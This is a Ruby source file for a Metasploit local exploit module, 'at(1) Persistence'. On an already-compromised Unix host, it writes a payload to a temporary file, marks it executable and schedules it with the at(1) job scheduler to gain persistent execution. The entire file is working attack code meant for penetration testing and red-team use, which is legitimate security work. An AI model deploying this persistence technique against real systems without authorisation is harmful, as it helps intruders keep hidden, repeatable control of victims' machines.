##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'at(1) Persistence',
        'Description' => %q{
          This module achieves persistence by executing payloads via at(1).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Jon Hart <jon_hart@rapid7.com>'
        ],
        'Targets' => [['Automatic', {} ]],
        'DefaultTarget' => 0,
        'Platform' => %w[unix],
        'Arch' => ARCH_CMD,
        'DisclosureDate' => '1997-01-01', # http://pubs.opengroup.org/onlinepubs/007908799/xcu/at.html
        'Notes' => {
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
        }
      )
    )

    register_options([
      OptString.new('TIME', [false, 'When to run job via at(1).  Changing may require WfsDelay to be adjusted.', 'now'])
    ])

    register_advanced_options([
      OptString.new('PATH', [false, 'Path to store payload to be executed by at(1).  Leave unset to use mktemp.'])
    ])
  end

  def check
    token = Rex::Text.rand_text_alphanumeric(8)
    if cmd_exec("atq && echo #{token}").include?(token)
      CheckCode::Vulnerable
    else
      CheckCode::Safe
    end
  end

  def exploit
    unless check == Exploit::CheckCode::Vulnerable
      fail_with(Failure::NoAccess, 'User denied cron via at.deny')
    end

    unless (payload_file = (datastore['PATH'] || cmd_exec('mktemp')))
      fail_with(Failure::BadConfig, 'Unable to find suitable location for payload')
    end

    write_file(payload_file, payload.encoded)
    register_files_for_cleanup(payload_file)

    cmd_exec("chmod 700 #{payload_file}")
    cmd_exec("at -f #{payload_file} #{datastore['TIME']}")

    print_status("Waiting up to #{datastore['WfsDelay']}sec for execution")
  end
end
